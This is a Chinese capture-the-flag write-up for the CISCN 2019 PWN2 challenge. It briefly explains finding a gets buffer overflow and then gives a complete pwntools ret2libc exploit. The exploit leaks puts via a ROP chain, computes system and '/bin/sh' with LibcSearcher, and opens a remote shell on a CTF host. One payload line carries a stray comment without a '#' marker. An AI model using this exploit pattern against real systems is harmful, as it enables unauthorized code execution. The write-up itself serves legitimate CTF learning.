Problem: [CISCN 2019东北]PWN2
[[toc]]
思路
这应该是自己独自做出来的一道ret2libc所以也打算将自己的思路分享出来

常规的checksec
在虚拟机里运行 尝试理解程序逻辑

运行后发现是一个菜单 分别有加密、解密、退出三个选项
打开ida进行静态分析

看看加密函数在干什么

在加密函数里我们发现了危险函数gets
加上这题没有后门函数 我决定打ret2libc
EXP
- 具体攻击代码
- from pwn import *
from LibcSearcher import *
context(arch='amd64')
#r=process('./pwn2')
r=remote('node5.anna.nssctf.cn',24365)
elf=ELF('./pwn2')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
encrypt=elf.sym['encrypt']
ret=0x4006b9
pop_rdi=0x400c83
r.recvuntil('choice!')
r.sendline('1')
r.recvuntil('encrypted')
payload=b'a'*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt)#修改寄存器rdi的值为puts函数的地址
r.sendline(payload)
r.recvline()
r.recvline()
r.recvline()
puts=u64(r.recv(6).ljust(8,b'\x00'))
#接收puts函数的真实地址 r.recv(代表接收6个字节) .ljust(8,'\x00')表示不够8个字节就用\x00(这是一个字节)填充至八个字节
print (hex(puts))
#以上的代码是泄露puts函数的地址
libc=LibcSearcher('puts',puts)
offset=puts-libc.dump('puts')
system=offset+libc.dump('system')#计算system的函数地址
bin_sh=offset+libc.dump('str_bin_sh')#计算/bin/sh的地址
payload=b'a'*(0x50+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)将rdi的值修改为/bin/sh的地址
r.sendline(payload)
r.interactive()
总结
- 对该题的考点总结
